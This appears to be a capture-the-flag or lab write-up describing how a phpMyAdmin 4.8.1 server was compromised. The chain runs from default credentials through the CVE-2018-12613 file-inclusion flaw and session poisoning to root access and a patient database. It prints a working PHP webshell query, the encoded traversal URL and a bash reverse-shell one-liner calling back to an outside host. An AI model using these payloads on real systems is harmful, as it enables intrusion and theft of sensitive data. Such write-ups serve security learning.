The Scenario: I had exactly 2 hours to compromise a machine in a volatile environment where IP addresses rotated unexpectedly. This wasn’t just a CTF; it was a race against the clock that required adaptability and deep technical understanding of PHP internals.
This write-up details how I turned a simple server misconfiguration into a Root Shell and a full patient data breach by chaining SQL Injection with Local File Inclusion (LFI) to perform a technique known as Session Poisoning.
Phase 1: Reconnaissance (The „Golden Ticket”)
I started scanning immediately. The target IP was identified as 10.87.161.14 (before rotation).
nmap -sC -sV -p- 10.87.161.14
The scan results provided the first clue. While standard web ports were open, a detailed script scan revealed a critical misconfiguration: Directory Listing was enabled.

Crucially, the directory listing exposed a folder named /phpmyadmin/. In a secured environment, this path should be hidden or restricted. Here, it was my entry point.
The Access
Following the lab hint regarding „simple credentials,” I attempted standard default combinations on the phpMyAdmin login page.
- Credential:
admin/admin - Result: Access Granted.

I was inside. I had control over the database, but my goal was full system compromise (RCE).

Phase 2: The Attack Vector (CVE-2018-12613)
https://www.cve.org/CVERecord?id=CVE-2018-12613
I verified the phpMyAdmin version (4.8.1). A quick search in searchsploit pointed to a critical vulnerability: Local File Inclusion (LFI).

The vulnerability allows an authenticated attacker to include arbitrary files on the server.
The Problem: LFI allows reading files, but for RCE, I need to execute code. I couldn’t upload files to the webroot.
The Solution: Session Poisoning.
If I execute a SQL query containing PHP code, phpMyAdmin saves that query into the active Session File on the server (typically in /var/lib/php/sessions/). If I then include that session file via the LFI vulnerability, the server will parse and execute my SQL query as PHP code.
Phase 3: The Technical Deep Dive (Escaping the Quote Nightmare) 🧠
This is where I hit a technical wall that automated scripts often miss. I attempted to inject a standard webshell via SQL:
SELECT "<?php system($_GET['cmd']); ?>"

It failed. Root Cause Analysis: The database or PHP session handler automatically „escapes” quotes before writing them to the session file. The file on disk ended up containing something like $_GET[\'cmd\']. When included via LFI, the backslash caused a PHP Syntax Error, crashing the script before execution.
The Fix: I leveraged a quirk in PHP’s legacy syntax. By removing the single quotes around the array key cmd, PHP treats it as a constant. Since the constant is undefined, PHP throws a Warning (which doesn’t stop execution) and falls back to treating it as a string literal 'cmd'.
The Working Query:
SELECT "<?php system($_GET[cmd]); ?>"
I executed this query. My session file (identified from cookies as sess_6u54kf977es670t8mv163qf5ca) was now „poisoned” with a working backdoor.
Phase 4: Exploitation (LFI to RCE)
I chained the LFI with the poisoned session ID to trigger the code execution.
The Payload URL:
.../index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_6u54kf977es670t8mv163qf5ca&cmd=id

Success! The server responded with uid=33(www-data).
To upgrade this to a full shell, I sent a Reverse Shell payload via the cmd parameter. I used a classic Bash payload to avoid any further quote escaping issues:
bash -c 'bash -i >& /dev/tcp/10.111.0.206/4444 0>&1'

I now had interactive terminal access as www-data.
Phase 5: Lateral Movement & Privilege Escalation
With shell access, I began enumerating the file system. I navigated to /home and found a user directory rkowalski. Inside, I struck gold: a file named hasla.txt (passwords.txt).
cd /home/rkowalski
cat hasla.txt

The file contained credentials for the database (admin123) and, critically, for the server root user:
server: root / RootMeg@Clinic456
The Root
I used the found credentials to switch users.
su root

Result: uid=0(root). I had full control over the machine.
Phase 6: Business Impact (Data Exfiltration)
To demonstrate the real-world impact of this breach beyond just „getting root,” I checked the database contents. I had full access to the megaclinic database, including the pacjenci (patients) table.


This proves that the vulnerability led not just to server compromise, but to a massive breach of sensitive medical data (PII/PHI).
Summary & Lessons Learned
- Details Matter: The syntax difference between
$_GET['cmd']and$_GET[cmd]was the deciding factor between failure and RCE. Understanding why something fails is more important than just running exploits. - Misconfigurations are King: A simple Directory Listing exposed the
/phpmyadmin/login, starting the entire chain. - Post-Exploitation: Finding the
hasla.txtfile reminds us that users often store credentials in plain text. Always enumerate the filesystem thoroughly.
Mission Accomplished. Root Access Secured. 🚀